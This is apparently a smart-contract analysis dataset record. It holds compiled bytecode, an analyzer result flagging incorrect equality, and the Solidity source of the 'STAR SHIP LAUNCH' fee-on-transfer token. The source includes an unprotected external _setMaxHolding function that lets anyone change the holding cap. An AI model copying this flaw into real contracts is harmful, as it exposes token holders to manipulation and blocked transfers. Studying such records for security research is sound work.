fffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612014929190612755565b60405180910390a25050505050565b60006401000000008310829061206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206691906125c3565b60405180910390fd5b5082905092915050565b60008135905061208881612c50565b92915050565b60008135905061209d81612c67565b92915050565b6000813590506120b281612c7e565b92915050565b6000813590506120c781612c95565b92915050565b6000813590506120dc81612cac565b92915050565b6000602082840312156120f8576120f7612a37565b5b600061210684828501612079565b91505092915050565b6000806040838503121561212657612125612a37565b5b600061213485828601612079565b925050602061214585828601612079565b9150509250929050565b60008060006060848603121561216857612167612a37565b5b600061217686828701612079565b935050602061218786828701612079565b9250506040612198868287016120a3565b9150509250925092565b600080604083850312156121b9576121b8612a37565b5b60006121c785828601612079565b92505060206121d8858286016120a3565b9150509250929050565b60008060008060008060c087890312156121ff576121fe612a37565b5b600061220d89828a01612079565b965050602061221e89828a016120a3565b955050604061222f89828a016120a3565b945050606061224089828a016120cd565b935050608061225189828a0161208e565b92505060a061226289828a0161208e565b9150509295509295509295565b6000806040838503121561228657612285612a37565b5b600061229485828601612079565b92505060206122a5858286016120b8565b9150509250929050565b6122b8816128ba565b82525050565b6122c7816128cc565b82525050565b6122d6816128d8565b82525050565b6122ed6122e8826128d8565b6129cf565b82525050565b60006122fe8261277e565b6123088185612789565b9350612318818560208601612953565b61232181612a3c565b840191505092915050565b6000612339603b83612789565b915061234482612a4d565b604082019050919050565b600061235c602883612789565b915061236782612a9c565b604082019050919050565b600061237f60028361279a565b915061238a82612aeb565b600282019050919050565b60006123a2602783612789565b91506123ad82612b14565b604082019050919050565b60006123c5602783612789565b91506123d082612b63565b604082019050919050565b60006123e8602383612789565b91506123f382612bb2565b604082019050919050565b600061240b603d83612789565b915061241682612c01565b604082019050919050565b61242a81612902565b82525050565b6124398161290c565b82525050565b6124488161291c565b82525050565b61245781612941565b82525050565b61246681612929565b82525050565b600061247782612372565b915061248382856122dc565b60208201915061249382846122dc565b6020820191508190509392505050565b60006020820190506124b860008301846122af565b92915050565b60006020820190506124d360008301846122be565b92915050565b60006020820190506124ee60008301846122cd565b92915050565b600060808201905061250960008301876122cd565b61251660208301866122af565b6125236040830185612421565b6125306060830184612421565b95945050505050565b600060808201905061254e60008301876122cd565b61255b60208301866122cd565b6125686040830185612421565b61257560608301846122af565b95945050505050565b600060808201905061259360008301876122cd565b6125a0602083018661243f565b6125ad60408301856122cd565b6125ba60608301846122cd565b95945050505050565b600060208201905081810360008301526125dd81846122f3565b905092915050565b600060208201905081810360008301526125fe8161232c565b9050919050565b6000602082019050818103600083015261261e8161234f565b9050919050565b6000602082019050818103600083015261263e81612395565b9050919050565b6000602082019050818103600083015261265e816123b8565b9050919050565b6000602082019050818103600083015261267e816123db565b9050919050565b6000602082019050818103600083015261269e816123fe565b9050919050565b60006020820190506126ba6000830184612421565b92915050565b60006020820190506126d56000830184612430565b92915050565b60006040820190506126f06000830185612430565b6126fd602083018461245d565b9392505050565b6000602082019050612719600083018461243f565b92915050565b6000602082019050612734600083018461244e565b92915050565b600060208201905061274f600083018461245d565b92915050565b600060408201905061276a600083018561244e565b612777602083018461244e565b9392505050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006127b08261290c565b91506127bb8361290c565b92508263ffffffff038211156127d4576127d36129d9565b5b828201905092915050565b60006127ea82612929565b91506127f583612929565b9250826bffffffffffffffffffffffff03821115612816576128156129d9565b5b828201905092915050565b600061282c8261290c565b91506128378361290c565b92508261284757612846612a08565b5b828204905092915050565b600061285d8261290c565b91506128688361290c565b92508282101561287b5761287a6129d9565b5b828203905092915050565b600061289182612929565b915061289c83612929565b9250828210156128af576128ae6129d9565b5b828203905092915050565b60006128c5826128e2565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b600061294c82612929565b9050919050565b60005b83811015612971578082015181840152602081019050612956565b83811115612980576000848401525b50505050565b600061299182612902565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129c4576129c36129d9565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f43706f6f6c3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008201527f72616e7366657220746f20746865207a65726f20616464726573730000000000602082015250565b7f43706f6f6c3a3a6765745072696f72566f7465733a206e6f742079657420646560008201527f7465726d696e6564000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f43706f6f6c3a3a64656c656761746542795369673a20696e76616c696420736960008201527f676e617475726500000000000000000000000000000000000000000000000000602082015250565b7f43706f6f6c3a3a64656c656761746542795369673a207369676e61747572652060008201527f6578706972656400000000000000000000000000000000000000000000000000602082015250565b7f43706f6f6c3a3a64656c656761746542795369673a20696e76616c6964206e6f60008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f43706f6f6c3a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008201527f72616e736665722066726f6d20746865207a65726f2061646472657373000000602082015250565b612c59816128ba565b8114612c6457600080fd5b50565b612c70816128d8565b8114612c7b57600080fd5b50565b612c8781612902565b8114612c9257600080fd5b50565b612c9e8161290c565b8114612ca957600080fd5b50565b612cb58161291c565b8114612cc057600080fd5b5056fe43706f6f6c3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777343706f6f6c3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636543706f6f6c3a3a617070726f76653a20616d6f756e742065786365656473203936206269747343706f6f6c3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747343706f6f6c3a3a7472616e736665723a20616d6f756e742065786365656473203936206269747343706f6f6c3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777343706f6f6c3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636543706f6f6c3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773a26469706673582212201665493263578272b156456cedbec47247a85dbc5b03adeed560b7c088fc7fcd64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,223 |
0xd0e94793b011540607686e15d4ff0b459772126b
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SSL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"STAR SHIP LAUNCH";
string private constant _symbol = unicode"STARSHIPLAUNCH";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 10;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 8;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 1000000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b604051610172919061308f565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b3e565b61057e565b6040516101af9190613074565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132b1565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612aef565b6105ae565b6040516102179190613074565b60405180910390f35b34801561022c57600080fd5b50610235610687565b60405161024291906132b1565b60405180910390f35b34801561025757600080fd5b50610260610697565b60405161026d9190613326565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bcc565b6106a0565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c44565b610787565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b7a565b6107da565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a61565b6108d2565b60405161032591906132b1565b60405180910390f35b34801561033a57600080fd5b50610343610929565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a61565b61099b565b60405161037991906132b1565b60405180910390f35b34801561038e57600080fd5b506103976109ec565b005b3480156103a557600080fd5b506103ae610b3f565b6040516103bb9190612fa6565b60405180910390f35b3480156103d057600080fd5b506103d9610b68565b6040516103e6919061308f565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b3e565b610ba5565b6040516104239190613074565b60405180910390f35b34801561043857600080fd5b50610441610bc3565b60405161044e9190613074565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a61565b610bda565b60405161048b91906132b1565b60405180910390f35b3480156104a057600080fd5b506104a9610c31565b005b3480156104b757600080fd5b506104c0610cab565b005b3480156104ce57600080fd5b506104d7610d70565b6040516104e491906132b1565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612ab3565b610da2565b60405161052191906132b1565b60405180910390f35b34801561053657600080fd5b5061053f610e29565b005b60606040518060400160405280601081526020017f535441522053484950204c41554e434800000000000000000000000000000000815250905090565b600061059261058b61133d565b8484611345565b6001905092915050565b600069152d02c7e14af6800000905090565b60006105bb848484611510565b61067c846105c761133d565b61067785604051806060016040528060288152602001613a1d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d61133d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e419092919063ffffffff16565b611345565b600190509392505050565b60006106923061099b565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106e161133d565b73ffffffffffffffffffffffffffffffffffffffff161461070157600080fd5b60338110610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b90613171565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077c91906132b1565b60405180910390a150565b60008160ff16116107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c490613291565b60405180910390fd5b8060ff1660158190555050565b6107e261133d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610866906131d1565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c79190613074565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154426109229190613477565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661096a61133d565b73ffffffffffffffffffffffffffffffffffffffff161461098a57600080fd5b600047905061099881611ea5565b50565b60006109e5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f11565b9050919050565b6109f461133d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a78906131d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f53544152534849504c41554e4348000000000000000000000000000000000000815250905090565b6000610bb9610bb261133d565b8484611510565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c2a9190613477565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c7261133d565b73ffffffffffffffffffffffffffffffffffffffff1614610c9257600080fd5b6000610c9d3061099b565b9050610ca881611f7f565b50565b610cb361133d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d37906131d1565b60405180910390fd5b6001601360146101000a81548160ff02191690831515021790555060b442610d689190613396565b601481905550565b6000610d9d601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661099b565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e3161133d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb5906131d1565b60405180910390fd5b601360149054906101000a900460ff1615610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0590613251565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000611345565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe557600080fd5b505afa158015610ff9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101d9190612a8a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107f57600080fd5b505afa158015611093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b79190612a8a565b6040518363ffffffff1660e01b81526004016110d4929190612fc1565b602060405180830381600087803b1580156110ee57600080fd5b505af1158015611102573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111269190612a8a565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111af3061099b565b6000806111ba610b3f565b426040518863ffffffff1660e01b81526004016111dc96959493929190613013565b6060604051808303818588803b1580156111f557600080fd5b505af1158015611209573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122e9190612bf5565b505050683635c9adc5dea0000060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e7929190612fea565b602060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113399190612ba3565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac90613231565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c906130f1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161150391906132b1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790613211565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e7906130b1565b60405180910390fd5b60008111611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a906131f1565b60405180910390fd5b61163b610b3f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a95750611679610b3f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7e57601360159054906101000a900460ff16156117af57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a